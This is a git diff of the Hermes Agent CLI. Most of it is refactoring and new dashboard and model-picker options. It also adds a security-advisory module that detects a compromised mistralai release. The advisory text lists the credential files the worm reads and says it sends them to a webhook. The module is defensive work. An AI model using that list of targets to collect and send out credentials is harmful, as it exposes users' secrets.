"hermes_cli" / "web_dist" + dist_index = dist_dir / "index.html" + + # If a stale dist exists, serve it as a fallback instead of failing. + # A stale UI is far better than no UI for non-interactive callers + # (Windows Scheduled Tasks, CI) — issue #23817. + if dist_index.exists(): + print(" ⚠ Web UI build failed — serving stale dist as fallback") + if stderr_tail: + print(f" Build error:\n {stderr_tail}") + return True + print( f" {'✗' if fatal else '⚠'} Web UI build failed" + ("" if fatal else " (hermes web will not be available)") ) + if stderr_tail: + print(f" Build error:\n {stderr_tail}") if fatal: print(" Run manually: cd web && npm install && npm run build") return False @@ -5921,8 +5913,8 @@ def _kill_stale_dashboard_processes( for pid in killed: print(f" ✓ stopped PID {pid}") - for pid, reason in failed: - print(f" ✗ failed to stop PID {pid}: {reason}") + for pid, err_msg in failed: + print(f" ✗ failed to stop PID {pid}: {err_msg}") if killed: print(" Restart the dashboard when you're ready:") @@ -6179,7 +6171,7 @@ def _restore_stashed_changes( response = input_fn("Restore local changes now? [Y/n]", "y") else: response = input().strip().lower() - if response not in ("", "y", "yes"): + if response not in {"", "y", "yes"}: print("Skipped restoring local changes.") print("Your changes are still preserved in git stash.") print(f"Restore manually with: git stash apply {stash_ref}") @@ -6422,7 +6414,7 @@ def _sync_with_upstream_if_needed(git_cmd: list[str], cwd: Path) -> None: print() response = "n" - if response in ("", "y", "yes"): + if response in {"", "y", "yes"}: print("→ Adding upstream remote...") if _add_upstream_remote(git_cmd, cwd): print( @@ -7481,7 +7473,7 @@ def _cmd_update_impl(args, gateway_mode: bool): prompt_user=prompt_for_restore, input_fn=gw_input_fn, ) - if current_branch not in ("main", "HEAD"): + if current_branch not in {"main", "HEAD"}: subprocess.run( git_cmd + ["checkout", current_branch], cwd=PROJECT_ROOT, @@ -7765,7 +7757,7 @@ def _cmd_update_impl(args, gateway_mode: bool): except EOFError: response = "n" - if response in ("", "y", "yes", "auto"): + if response in {"", "y", "yes", "auto"}: print() # Gateway mode, --yes, and non-interactive update contexts # (dashboard / web server actions) cannot prompt for API keys. @@ -7817,6 +7809,22 @@ def _cmd_update_impl(args, gateway_mode: bool): except Exception as e: logger.debug("FHS PATH guard check failed: %s", e) + # Refresh the cua-driver binary used by the Computer Use toolset. + # The upstream installer is gated on macOS and on the binary already + # being on PATH, so this is a no-op for users who don't have it. + # Tying the refresh to ``hermes update`` gives users a predictable + # cadence (matches when they pull new agent code) without adding + # startup latency or a per-launch GitHub API call. + try: + if sys.platform == "darwin" and shutil.which("cua-driver"): + from hermes_cli.tools_config import install_cua_driver + + print() + print("→ Refreshing cua-driver (Computer Use)...") + install_cua_driver(upgrade=True) + except Exception as e: + logger.debug("cua-driver refresh failed: %s", e) + # Write exit code *before* the gateway restart attempt. # When running as ``hermes update --gateway`` (spawned by the gateway's # /update command), this process lives inside the gateway's systemd @@ -8826,7 +8834,7 @@ def cmd_profile(args): answer = input("\nProceed with install? [y/N] ").strip().lower() except (EOFError, KeyboardInterrupt): answer = "" - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: print("Install cancelled.") return @@ -8885,7 +8893,7 @@ def cmd_profile(args): answer = input("\nProceed? [y/N] ").strip().lower() except (EOFError, KeyboardInterrupt): answer = "" - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: print("Update cancelled.") return @@ -9075,9 +9083,24 @@ def cmd_dashboard(args): print(f"Import error: {e}") sys.exit(1) - if "HERMES_WEB_DIST" not in os.environ: + if "HERMES_WEB_DIST" not in os.environ and not getattr(args, "skip_build", False): if not _build_web_ui(PROJECT_ROOT / "web", fatal=True): sys.exit(1) + elif getattr(args, "skip_build", False): + # --skip-build trusts the caller to have pre-built the web UI. + # Verify the dist actually exists; otherwise the server will start + # and serve 404s with no obvious cause (issue #23817). + _dist_root = ( + Path(os.environ["HERMES_WEB_DIST"]) + if "HERMES_WEB_DIST" in os.environ + else PROJECT_ROOT / "hermes_cli" / "web_dist" + ) + if not (_dist_root / "index.html").exists(): + print(f"✗ --skip-build was passed but no web dist found at: {_dist_root}") + print(" Pre-build first: cd web && npm install && npm run build") + print(" Or drop --skip-build to build automatically.") + sys.exit(1) + print(f"→ Skipping web UI build (--skip-build); using dist at {_dist_root}") from hermes_cli.web_server import start_server @@ -10063,6 +10086,16 @@ def main(): doctor_parser.add_argument( "--fix", action="store_true", help="Attempt to fix issues automatically" ) + doctor_parser.add_argument( + "--ack", + metavar="ADVISORY_ID", + default=None, + help=( + "Acknowledge a security advisory by ID and exit. After ack, the " + "advisory will no longer trigger startup banners. Run `hermes " + "doctor` first to see active advisories and their IDs." + ), + ) doctor_parser.set_defaults(func=cmd_doctor) # ========================================================================= @@ -10658,9 +10691,9 @@ def cmd_memory(args): mem_dir = get_hermes_home() / "memories" target = getattr(args, "target", "all") files_to_reset = [] - if target in ("all", "memory"): + if target in {"all", "memory"}: files_to_reset.append(("MEMORY.md", "agent notes")) - if target in ("all", "user"): + if target in {"all", "user"}: files_to_reset.append(("USER.md", "user profile")) # Check what exists @@ -10771,7 +10804,7 @@ def cmd_memory(args): def cmd_tools(args): action = getattr(args, "tools_action", None) - if action in ("list", "disable", "enable"): + if action in {"list", "disable", "enable"}: from hermes_cli.tools_config import tools_disable_enable_command tools_disable_enable_command(args) @@ -10802,10 +10835,19 @@ def cmd_tools(args): ) computer_use_sub = computer_use_parser.add_subparsers(dest="computer_use_action") - computer_use_sub.add_parser( + computer_use_install = computer_use_sub.add_parser( "install", help="Install or repair the cua-driver binary (macOS)", ) + computer_use_install.add_argument( + "--upgrade", + action="store_true", + help=( + "Re-run the upstream installer even if cua-driver is already on " + "PATH. The upstream install.sh always pulls the latest release, " + "so this performs an in-place upgrade." + ), + ) computer_use_sub.add_parser( "status", help="Print whether cua-driver is installed and on PATH", @@ -10814,14 +10856,27 @@ def cmd_tools(args): def cmd_computer_use(args): action = getattr(args, "computer_use_action", None) if action == "install": - from hermes_cli.tools_config import _run_post_setup - _run_post_setup("cua_driver") + from hermes_cli.tools_config import install_cua_driver + install_cua_driver(upgrade=bool(getattr(args, "upgrade", False))) return if action == "status": import shutil + import subprocess path = shutil.which("cua-driver") if path: - print(f"cua-driver: installed at {path}") + version = "" + try: + version = subprocess.run( + ["cua-driver", "--version"], + capture_output=True, text=True, timeout=5, + ).stdout.strip() + except Exception: + pass + if version: + print(f"cua-driver: installed at {path} ({version})") + else: + print(f"cua-driver: installed at {path}") + print(" Refresh to latest: hermes computer-use install --upgrade") return print("cua-driver: not installed") print(" Run: hermes computer-use install") @@ -10980,7 +11035,7 @@ def cmd_mcp(args): def _confirm_prompt(prompt: str) -> bool: """Prompt for y/N confirmation, safe against non-TTY environments.""" try: - return input(prompt).strip().lower() in ("y", "yes") + return input(prompt).strip().lower() in {"y", "yes"} except (EOFError, KeyboardInterrupt): return False @@ -11554,6 +11609,15 @@ def cmd_acp(args): "Alternatively set HERMES_DASHBOARD_TUI=1." ), ) + dashboard_parser.add_argument( + "--skip-build", + action="store_true", + help=( + "Skip the web UI build step and serve the existing dist directly. " + "Useful for non-interactive contexts (Windows Scheduled Tasks, CI) " + "where npm may not be available. Pre-build with: cd web && npm run build" + ), + ) # Lifecycle flags — mutually exclusive with each other and with the # start-a-server flags above (if both are passed, --stop / --status win # because they exit before the server is started). The dashboard has diff --git a/hermes_cli/mcp_config.py b/hermes_cli/mcp_config.py index 0e1e6c5a87db..8c12ad707581 100644 --- a/hermes_cli/mcp_config.py +++ b/hermes_cli/mcp_config.py @@ -63,7 +63,7 @@ def _confirm(question: str, default: bool = True) -> bool: return default if not val: return default - return val in ("y", "yes") + return val in {"y", "yes"} def _prompt(question: str, *, password: bool = False, default: str = "") -> str: @@ -375,11 +375,11 @@ def cmd_mcp_add(args): _info("Cancelled.") return - if choice in ("n", "no"): + if choice in {"n", "no"}: _info("Cancelled — server not saved.") return - if choice in ("s", "select"): + if choice in {"s", "select"}: # Interactive tool selection from hermes_cli.curses_ui import curses_checklist @@ -509,7 +509,7 @@ def cmd_mcp_list(args=None): # Enabled status enabled = cfg.get("enabled", True) if isinstance(enabled, str): - enabled = enabled.lower() in ("true", "1", "yes") + enabled = enabled.lower() in {"true", "1", "yes"} status = color("✓ enabled", Colors.GREEN) if enabled else color("✗ disabled", Colors.DIM) print(f" {name:<16} {transport:<30} {tools_str:<12} {status}") diff --git a/hermes_cli/model_switch.py b/hermes_cli/model_switch.py index d75aca5cd089..fec1f33d0925 100644 --- a/hermes_cli/model_switch.py +++ b/hermes_cli/model_switch.py @@ -825,7 +825,7 @@ def switch_model( # --- Step e: detect_provider_for_model() as last resort --- _base = current_base_url or "" - is_custom = current_provider in ("custom", "local") or ( + is_custom = current_provider in {"custom", "local"} or ( "localhost" in _base or "127.0.0.1" in _base ) @@ -1079,6 +1079,7 @@ def list_authenticated_providers( from hermes_cli.models import ( OPENROUTER_MODELS, _PROVIDER_MODELS, _MODELS_DEV_PREFERRED, _merge_with_models_dev, provider_model_ids, + get_curated_nous_model_ids, ) results: List[dict] = [] @@ -1160,9 +1161,12 @@ def _has_aws_sdk_creds_for_listing(slug: str) -> bool: # Build curated model lists keyed by hermes provider ID curated: dict[str, list[str]] = dict(_PROVIDER_MODELS) curated["openrouter"] = [mid for mid, _ in OPENROUTER_MODELS] - # "nous" shares OpenRouter's curated list if not separately defined - if "nous" not in curated: - curated["nous"] = curated["openrouter"] + # "nous" pulls from the remote model-catalog manifest published at + # https://hermes-agent.nousresearch.com/docs/api/model-catalog.json so + # newly added Portal models surface in the /model picker without + # requiring a Hermes release. Falls back to the in-repo + # _PROVIDER_MODELS["nous"] snapshot when the manifest is unreachable. + curated["nous"] = get_curated_nous_model_ids() # Ollama Cloud uses dynamic discovery (no static curated list) if "ollama-cloud" not in curated: from hermes_cli.models import fetch_ollama_cloud_models @@ -1521,7 +1525,7 @@ def _has_aws_sdk_creds_for_listing(slug: str) -> bool: api_key = os.environ.get(key_env, "").strip() if key_env else "" discover = ep_cfg.get("discover_models", True) if isinstance(discover, str): - discover = discover.lower() not in ("false", "no", "0") + discover = discover.lower() not in {"false", "no", "0"} if api_url and api_key and discover: try: from hermes_cli.models import fetch_api_models diff --git a/hermes_cli/models.py b/hermes_cli/models.py index cf693ae28b44..813045dfd04a 100644 --- a/hermes_cli/models.py +++ b/hermes_cli/models.py @@ -556,6 +556,71 @@ def partition_nous_models_by_tier( return (selectable, unavailable) +def union_with_portal_free_recommendations( + curated_ids: list[str], + pricing: dict[str, dict[str, str]], + portal_base_url: str = "", + *, + force_refresh: bool = False, +) -> tuple[list[str], dict[str, dict[str, str]]]: + """Augment curated list + pricing with the Portal's ``freeRecommendedModels``. + + The Portal's ``/api/nous/recommended-models`` endpoint advertises which + models are free *right now* — independent of what the in-repo + ``_PROVIDER_MODELS["nous"]`` list happens to contain or whether the + docs-hosted catalog manifest has been rebuilt since the last release. + + For free-tier users this is the source of truth: any model the Portal + flags as free should be selectable, even if the user is running an + older Hermes that doesn't ship that model in its hardcoded curated + list. This function returns an augmented ``(model_ids, pricing)`` + pair where: + + * Portal free recommendations missing from ``curated_ids`` are + appended at the front (so the picker shows them first). + * ``pricing`` gets a synthetic ``{"prompt": "0", "completion": "0"}`` + entry for any free recommendation missing from the live pricing + map, so :func:`partition_nous_models_by_tier` keeps it. + + Failures (network, parse, missing field) are silent and degrade to + returning the inputs unchanged. + """ + try: + payload = fetch_nous_recommended_models( + portal_base_url, force_refresh=force_refresh + ) + except Exception: + return (list(curated_ids), dict(pricing)) + + free_block = payload.get("freeRecommendedModels") if isinstance(payload, dict) else None + if not isinstance(free_block, list) or not free_block: + return (list(curated_ids), dict(pricing)) + + portal_free_ids: list[str] = [] + for entry in free_block: + name = _extract_model_name(entry) + if name: + portal_free_ids.append(name) + if not portal_free_ids: + return (list(curated_ids), dict(pricing)) + + augmented_pricing = dict(pricing) + free_synthetic = {"prompt": "0", "completion": "0"} + for mid in portal_free_ids: + if mid not in augmented_pricing: + augmented_pricing[mid] = dict(free_synthetic) + + augmented_ids = list(curated_ids) + seen = set(augmented_ids) + # Prepend Portal free recommendations that aren't already curated, so + # they appear first in the picker. + new_ones = [mid for mid in portal_free_ids if mid not in seen] + if new_ones: + augmented_ids = new_ones + augmented_ids + + return (augmented_ids, augmented_pricing) + + # --------------------------------------------------------------------------- # TTL cache for free-tier detection — avoids repeated API calls within a # session while still picking up upgrades quickly. @@ -818,7 +883,7 @@ class ProviderEntry(NamedTuple): for _pp in _list_providers_for_canonical(): if _pp.name in _canonical_slugs: continue - if _pp.auth_type in ("oauth_device_code", "oauth_external", "external_process", "aws_sdk", "copilot"): + if _pp.auth_type in {"oauth_device_code", "oauth_external", "external_process", "aws_sdk", "copilot"}: continue # non-api-key flows need bespoke picker UX; skip auto-inject _label = _pp.display_name or _pp.name _desc = _pp.description or f"{_label} (direct API)" @@ -1338,8 +1403,21 @@ def _resolve_openrouter_api_key() -> str: return os.getenv("OPENROUTER_API_KEY", "").strip() +_DEFAULT_NOUS_INFERENCE_BASE = "https://inference-api.nousresearch.com" + + def _resolve_nous_pricing_credentials() -> tuple[str, str]: - """Return ``(api_key, base_url)`` for Nous Portal pricing, or empty strings.""" + """Return ``(api_key, base_url)`` for Nous Portal pricing. + + The Nous inference ``/v1/models`` endpoint exposes pricing without + authentication, so the api_key is best-effort: when runtime credential + resolution fails (expired refresh token, missing auth.json, etc.) we + still return the default inference base URL so the picker keeps + working with anonymous pricing data. Free-tier users in particular + need this — pricing drives the free/paid partition, and silently + returning empty pricing because of an auth blip makes the picker + look broken ("No free models currently available"). + """ try: from hermes_cli.auth import resolve_nous_runtime_credentials creds = resolve_nous_runtime_credentials() @@ -1347,7 +1425,7 @@ def _resolve_nous_pricing_credentials() -> tuple[str, str]: return (creds.get("api_key", ""), creds.get("base_url", "")) except Exception: pass - return ("", "") + return ("", _DEFAULT_NOUS_INFERENCE_BASE) def get_pricing_for_provider(provider: str, *, force_refresh: bool = False) -> dict[str, dict[str, str]]: @@ -2335,7 +2413,7 @@ def _lmstudio_fetch_raw_models( with urllib.request.urlopen(request, timeout=timeout) as resp: payload = json.loads(resp.read().decode()) except urllib.error.HTTPError as exc: - if exc.code in (401, 403): + if exc.code in {401, 403}: from hermes_cli.auth import AuthError raise AuthError( f"LM Studio rejected the request with HTTP {exc.code}.", @@ -3270,7 +3348,7 @@ def validate_requested_model( # MiniMax providers don't expose a /models endpoint — validate against # the static catalog instead, similar to openai-codex. - if normalized in ("minimax", "minimax-cn"): + if normalized in {"minimax", "minimax-cn"}: try: catalog_models = provider_model_ids(normalized) except Exception: diff --git a/hermes_cli/plugins.py b/hermes_cli/plugins.py index 3a58baa0695f..70b0dc9cd7f5 100644 --- a/hermes_cli/plugins.py +++ b/hermes_cli/plugins.py @@ -86,9 +86,9 @@ def get_bundled_plugins_dir() -> Path: # The env var is read once at import time; tests that need to flip it # mid-process can call ``_install_plugin_debug_handler(force=True)``. -_PLUGINS_DEBUG = os.getenv("HERMES_PLUGINS_DEBUG", "").strip().lower() in ( +_PLUGINS_DEBUG = os.getenv("HERMES_PLUGINS_DEBUG", "").strip().lower() in { "1", "true", "yes", "on", -) +} _DEBUG_HANDLER_INSTALLED = False @@ -100,9 +100,9 @@ def _install_plugin_debug_handler(force: bool = False) -> None: """ global _DEBUG_HANDLER_INSTALLED, _PLUGINS_DEBUG if force: - _PLUGINS_DEBUG = os.getenv("HERMES_PLUGINS_DEBUG", "").strip().lower() in ( + _PLUGINS_DEBUG = os.getenv("HERMES_PLUGINS_DEBUG", "").strip().lower() in { "1", "true", "yes", "on", - ) + } if not _PLUGINS_DEBUG or _DEBUG_HANDLER_INSTALLED: return handler = logging.StreamHandler(sys.stderr) @@ -824,7 +824,7 @@ def discover_and_load(self, force: bool = False) -> None: # Bundled platform plugins (gateway adapters like IRC) auto-load # for the same reason: every platform Hermes ships must be # available out of the box without the user having to opt in. - if manifest.source == "bundled" and manifest.kind in ("backend", "platform"): + if manifest.source == "bundled" and manifest.kind in {"backend", "platform"}: self._load_plugin(manifest) continue @@ -1075,7 +1075,7 @@ def _load_plugin(self, manifest: PluginManifest) -> None: ) try: - if manifest.source in ("user", "project", "bundled"): + if manifest.source in {"user", "project", "bundled"}: module = self._load_directory_module(manifest) else: module = self._load_entrypoint_module(manifest) diff --git a/hermes_cli/plugins_cmd.py b/hermes_cli/plugins_cmd.py index cd3520016aa1..675989d170e4 100644 --- a/hermes_cli/plugins_cmd.py +++ b/hermes_cli/plugins_cmd.py @@ -85,7 +85,7 @@ def _sanitize_plugin_name(name: str, plugins_dir: Path) -> Path: if not name: raise ValueError("Plugin name must not be empty.") - if name in (".", ".."): + if name in {".", ".."}: raise ValueError( f"Invalid plugin name '{name}': must not reference the plugins directory itself." ) @@ -491,7 +491,7 @@ def cmd_install( answer = input( f" Enable '{installed_name}' now? [y/N]: ", ).strip().lower() - should_enable = answer in ("y", "yes") + should_enable = answer in {"y", "yes"} except (EOFError, KeyboardInterrupt): should_enable = False else: @@ -731,7 +731,7 @@ def _discover_all_plugins() -> list: for d in sorted(base.iterdir()): if not d.is_dir(): continue - if source == "bundled" and d.name in ("memory", "context_engine"): + if source == "bundled" and d.name in {"memory", "context_engine"}: continue manifest_file = d / "plugin.yaml" if not manifest_file.exists(): @@ -1129,10 +1129,10 @@ def _draw(stdscr): stdscr.refresh() key = stdscr.getch() - if key in (curses.KEY_UP, ord("k")): + if key in {curses.KEY_UP, ord("k")}: if total_items > 0: cursor = (cursor - 1) % total_items - elif key in (curses.KEY_DOWN, ord("j")): + elif key in {curses.KEY_DOWN, ord("j")}: if total_items > 0: cursor = (cursor + 1) % total_items elif key == ord(" "): @@ -1168,7 +1168,7 @@ def _draw(stdscr): curses.init_pair(3, curses.COLOR_CYAN, -1) curses.init_pair(4, 8, -1) curses.curs_set(0) - elif key in (curses.KEY_ENTER, 10, 13): + elif key in {curses.KEY_ENTER, 10, 13}: if cursor < n_plugins: # ENTER on a plugin checkbox — confirm and exit result_holder["plugins_changed"] = True @@ -1200,7 +1200,7 @@ def _draw(stdscr): curses.init_pair(3, curses.COLOR_CYAN, -1) curses.init_pair(4, 8, -1) curses.curs_set(0) - elif key in (27, ord("q")): + elif key in {27, ord("q")}: # Save plugin changes on exit result_holder["plugins_changed"] = True return @@ -1428,10 +1428,9 @@ def _toggle_plugin_toolset(name: str, *, enable: bool) -> None: if toolset_key not in ts_list: ts_list.append(toolset_key) changed = True - else: - if toolset_key in ts_list: - ts_list.remove(toolset_key) - changed = True + elif toolset_key in ts_list: + ts_list.remove(toolset_key) + changed = True # If enabling and no platforms have toolset lists yet, add to "cli" at minimum if enable and not changed and not platform_toolsets: @@ -1570,13 +1569,13 @@ def plugins_command(args) -> None: ) elif action == "update": cmd_update(args.name) - elif action in ("remove", "rm", "uninstall"): + elif action in {"remove", "rm", "uninstall"}: cmd_remove(args.name) elif action == "enable": cmd_enable(args.name) elif action == "disable": cmd_disable(args.name) - elif action in ("list", "ls"): + elif action in {"list", "ls"}: cmd_list() elif action is None: cmd_toggle() diff --git a/hermes_cli/profiles.py b/hermes_cli/profiles.py index d111159c013c..468a4599f840 100644 --- a/hermes_cli/profiles.py +++ b/hermes_cli/profiles.py @@ -989,7 +989,7 @@ def _ignore(directory: str, contents: list) -> set: if entry == "__pycache__" or entry.endswith((".sock", ".tmp")): ignored.add(entry) # npm lockfiles can appear at root - elif entry in ("package.json", "package-lock.json"): + elif entry in {"package.json", "package-lock.json"}: ignored.add(entry) # Root-level exclusions if Path(directory) == root_dir: @@ -1057,7 +1057,7 @@ def _normalize_profile_archive_parts(member_name: str) -> List[str]: ): raise ValueError(f"Unsafe archive member path: {member_name}") - parts = [part for part in posix_path.parts if part not in ("", ".")] + parts = [part for part in posix_path.parts if part not in {"", "."}] if not parts or any(part == ".." for part in parts): raise ValueError(f"Unsafe archive member path: {member_name}") return parts diff --git a/hermes_cli/pty_bridge.py b/hermes_cli/pty_bridge.py index f2ef8d0876df..a1779aa1dd28 100644 --- a/hermes_cli/pty_bridge.py +++ b/hermes_cli/pty_bridge.py @@ -164,7 +164,7 @@ def read(self, timeout: float = 0.2) -> Optional[bytes]: data = os.read(self._fd, 65536) except OSError as exc: # EIO on Linux = slave side closed. EBADF = already closed. - if exc.errno in (errno.EIO, errno.EBADF): + if exc.errno in {errno.EIO, errno.EBADF}: return None raise if not data: @@ -181,7 +181,7 @@ def write(self, data: bytes) -> None: try: n = os.write(self._fd, view) except OSError as exc: - if exc.errno in (errno.EIO, errno.EBADF, errno.EPIPE): + if exc.errno in {errno.EIO, errno.EBADF, errno.EPIPE}: return raise if n <= 0: diff --git a/hermes_cli/runtime_provider.py b/hermes_cli/runtime_provider.py index fe996d1e3999..1652b72034c5 100644 --- a/hermes_cli/runtime_provider.py +++ b/hermes_cli/runtime_provider.py @@ -205,6 +205,14 @@ def _resolve_runtime_from_pool_entry( elif provider == "google-gemini-cli": api_mode = "chat_completions" base_url = base_url or "cloudcode-pa://google" + elif provider == "minimax-oauth": + # MiniMax OAuth tokens are valid only against the Anthropic Messages + # compatible endpoint. Do not honor stale model.api_mode values from a + # prior OpenAI-compatible provider, or the client will hit + # /chat/completions under /anthropic and receive a bare nginx 404. + api_mode = "anthropic_messages" + pconfig = PROVIDER_REGISTRY.get(provider) + base_url = base_url or (pconfig.inference_base_url if pconfig else "") elif provider == "anthropic": api_mode = "anthropic_messages" cfg_provider = str(model_cfg.get("provider") or "").strip().lower() @@ -260,7 +268,7 @@ def _resolve_runtime_from_pool_entry( if cfg_base_url: base_url = cfg_base_url configured_mode = _parse_api_mode(model_cfg.get("api_mode")) - if provider in ("opencode-zen", "opencode-go"): + if provider in {"opencode-zen", "opencode-go"}: # Re-derive api_mode from the effective model rather than the # persisted api_mode: the opencode providers serve both # anthropic_messages and chat_completions models, so the previous @@ -282,7 +290,7 @@ def _resolve_runtime_from_pool_entry( # Anthropic SDK prepends its own /v1/messages to the base_url. Strip the # trailing /v1 so the SDK constructs the correct path (e.g. # https://opencode.ai/zen/go/v1/messages instead of .../v1/v1/messages). - if api_mode == "anthropic_messages" and provider in ("opencode-zen", "opencode-go"): + if api_mode == "anthropic_messages" and provider in {"opencode-zen", "opencode-go"}: base_url = re.sub(r"/v1/?$", "", base_url) return { @@ -859,7 +867,7 @@ def _resolve_explicit_runtime( base_url = explicit_base_url if not base_url: - if provider in ("kimi-coding", "kimi-coding-cn"): + if provider in {"kimi-coding", "kimi-coding-cn"}: creds = resolve_api_key_provider_credentials(provider) base_url = creds.get("base_url", "").rstrip("/") else: @@ -1223,7 +1231,7 @@ def resolve_runtime_provider( # trust boto3's credential chain — it handles IMDS, ECS task roles, # Lambda execution roles, SSO, and other implicit sources that our # env-var check can't detect. - is_explicit = requested_provider in ("bedrock", "aws", "aws-bedrock", "amazon-bedrock", "amazon") + is_explicit = requested_provider in {"bedrock", "aws", "aws-bedrock", "amazon-bedrock", "amazon"} if not is_explicit and not has_aws_credentials(): raise AuthError( "No AWS credentials found for Bedrock. Configure one of:\n" @@ -1303,7 +1311,7 @@ def resolve_runtime_provider( configured_provider = str(model_cfg.get("provider") or "").strip().lower() # Only honor persisted api_mode when it belongs to the same provider family. configured_mode = _parse_api_mode(model_cfg.get("api_mode")) - if provider in ("opencode-zen", "opencode-go"): + if provider in {"opencode-zen", "opencode-go"}: # opencode-zen/go must always re-derive api_mode from the # target model (not the stale persisted api_mode), because # the same provider serves both anthropic_messages @@ -1325,7 +1333,7 @@ def resolve_runtime_provider( if detected: api_mode = detected # Strip trailing /v1 for OpenCode Anthropic models (see comment above). - if api_mode == "anthropic_messages" and provider in ("opencode-zen", "opencode-go"): + if api_mode == "anthropic_messages" and provider in {"opencode-zen", "opencode-go"}: base_url = re.sub(r"/v1/?$", "", base_url) return { "provider": provider, diff --git a/hermes_cli/security_advisories.py b/hermes_cli/security_advisories.py new file mode 100644 index 000000000000..311383eab4df --- /dev/null +++ b/hermes_cli/security_advisories.py @@ -0,0 +1,451 @@ +""" +Security advisory checker for Hermes Agent. + +Detects known-compromised Python packages installed in the active venv +(supply-chain attacks like the Mini Shai-Hulud worm of May 2026 that +poisoned ``mistralai 2.4.6`` on PyPI) and surfaces remediation guidance to +the user. + +Design goals: + +- **Cheap.** A single ``importlib.metadata.version()`` call per advisory + package. Safe to run on every CLI startup. +- **Loud when it matters, silent otherwise.** If no compromised package is + installed, the user sees nothing. +- **Acknowledgeable.** Once the user has read and acted on an advisory they + can dismiss it via ``hermes doctor --ack ``; the ack is persisted to + ``config.security.acked_advisories`` and survives restart. +- **Extensible.** Adding a new advisory is one entry in ``ADVISORIES``; + adding a new compromised version is a one-line edit. No code changes + needed when the next worm hits. + +The check is invoked from three places: + +1. ``hermes doctor`` (and ``hermes doctor --ack ``) +2. CLI startup banner (one short line, then full guidance via + ``hermes doctor``) +3. Gateway startup (logged to gateway.log; first interactive message gets + a one-line operator banner) + +This module is intentionally dependency-free beyond the stdlib so it can +run in environments where the rest of Hermes failed to import. +""" + +from __future__ import annotations + +import logging +import os +import sys +from dataclasses import dataclass, field +from pathlib import Path +from typing import Iterable, Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Advisory catalog +# +# Each advisory is a community-facing security warning about one or more +# specific package versions that are known to be compromised. To add a new +# advisory: +# +# 1. Append a new ``Advisory`` to ``ADVISORIES`` below +# 2. Set ``compromised`` to a tuple of ``(pkg_name, frozenset_of_versions)`` +# — version strings must match what ``importlib.metadata.version()`` +# returns. Use an empty frozenset to flag *any installed version* +# (rare; only when the maintainer namespace itself is compromised). +# 3. Write 2-4 short ``remediation`` lines a non-expert can copy/paste. +# +# Do NOT remove old advisories. Once an advisory ships, leave it in place so +# users running an older release with the compromised package still get +# warned. Mark superseded ones via ``superseded_by`` if needed. +# ============================================================================= + + +@dataclass(frozen=True) +class Advisory: + """One security advisory entry. + + Attributes: + id: stable identifier used for acks (e.g. ``shai-hulud-2026-05``). + Lowercase-hyphen, never reused. + title: one-line headline shown in banners. + summary: 1-3 sentence description of what was compromised and how. + url: reference URL (Socket advisory, GitHub advisory, PyPI page). + compromised: tuple of ``(package_name, frozenset_of_versions)`` + pairs. Empty frozenset means "any version of this package is + considered suspect" — use sparingly. + remediation: ordered list of steps the user should take. First step + should be the uninstall command; subsequent steps the credential + audit / rotation guidance. + published: ISO date string for sort order. + """ + + id: str + title: str + summary: str + url: str + compromised: tuple[tuple[str, frozenset[str]], ...] + remediation: tuple[str, ...] + published: str = "" + severity: str = "high" # low / medium / high / critical + + +ADVISORIES: tuple[Advisory, ...] = ( + Advisory( + id="shai-hulud-2026-05", + title="Mini Shai-Hulud worm — mistralai 2.4.6 compromised on PyPI", + summary=( + "PyPI quarantined the mistralai package on 2026-05-12 after a " + "malicious 2.4.6 release. The worm steals credentials from " + "environment variables and credential files (~/.npmrc, ~/.pypirc, " + "~/.aws/credentials, GitHub PATs, cloud SDK tokens) and exfils " + "them to a hardcoded webhook. If you ran any Python process that " + "imported mistralai 2.4.6 — including hermes when configured " + "with provider=mistral for TTS or STT — assume those credentials " + "are exposed." + ), + url="https://socket.dev/blog/mini-shai-hulud-worm-pypi", + compromised=( + ("mistralai", frozenset({"2.4.6"})), + ), + remediation=( + "Run: pip uninstall -y mistralai (or: uv pip uninstall mistralai)", + "Rotate API keys in ~/.hermes/.env (OpenRouter, Anthropic, OpenAI, " + "Nous, GitHub, AWS, Google, Mistral, etc.).", + "Audit ~/.npmrc, ~/.pypirc, ~/.aws/credentials, ~/.config/gh/hosts.yml, " + "and any other credential files for tokens that may have been read.", + "Check GitHub for unexpected new SSH keys, deploy keys, or webhook " + "additions on repos you have admin on.", + "After cleanup: hermes doctor --ack shai-hulud-2026-05 to dismiss " + "this warning.", + ), + published="2026-05-12", + severity="critical", + ), +) + + +# ============================================================================= +# Detection +# ============================================================================= + + +@dataclass(frozen=True) +class AdvisoryHit: + """One package-version match against an advisory.""" + + advisory: Advisory + package: str + installed_version: str + + +def _installed_version(pkg_name: str) -> Optional[str]: + """Return the installed version of ``pkg_name``, or None if not installed. + + Uses ``importlib.metadata`` so we don't depend on pip being importable + inside the active venv (uv-created venvs may lack pip). + """ + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: # py<3.8 — Hermes requires 3.10+ but defensive. + return None + try: + return version(pkg_name) + except PackageNotFoundError: + return None + except Exception: + # Some metadata corruption modes raise ValueError or OSError. Don't + # let advisory checking crash the CLI startup path. + logger.debug("importlib.metadata.version(%s) raised", pkg_name, exc_info=True) + return None + + +def detect_compromised( + advisories: Iterable[Advisory] = ADVISORIES, +) -> list[AdvisoryHit]: + """Scan installed packages and return all advisory hits. + + A "hit" means an advisory's listed package is installed AND the version + is in the compromised set (or the compromised set is empty, meaning + *any* version is suspect). + """ + hits: list[AdvisoryHit] = [] + for advisory in advisories: + for pkg_name, bad_versions in advisory.compromised: + installed = _installed_version(pkg_name) + if installed is None: + continue + if not bad_versions or installed in bad_versions: + hits.append(AdvisoryHit( + advisory=advisory, + package=pkg_name, + installed_version=installed, + )) + return hits + + +# ============================================================================= +# Acknowledgement persistence +# +# Acks live under ``security.acked_advisories`` in config.yaml as a list of +# advisory IDs. The list is the only state — no per-host data, no +# timestamps, no fingerprints. Users sharing a config.yaml across machines +# (rare but possible) get the same dismissal everywhere, which is the +# correct behavior for a global advisory. +# ============================================================================= + + +def get_acked_ids() -> set[str]: + """Return the set of advisory IDs the user has dismissed. + + Returns an empty set if config can't be loaded (don't block startup + just because config is broken — the advisory will keep firing until + config is repaired, which is fine). + """ + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + logger.debug("Could not load config for advisory acks", exc_info=True) + return set() + sec = cfg.get("security") or {} + raw = sec.get("acked_advisories") or [] + if not isinstance(raw, list): + return set() + return {str(x).strip() for x in raw if 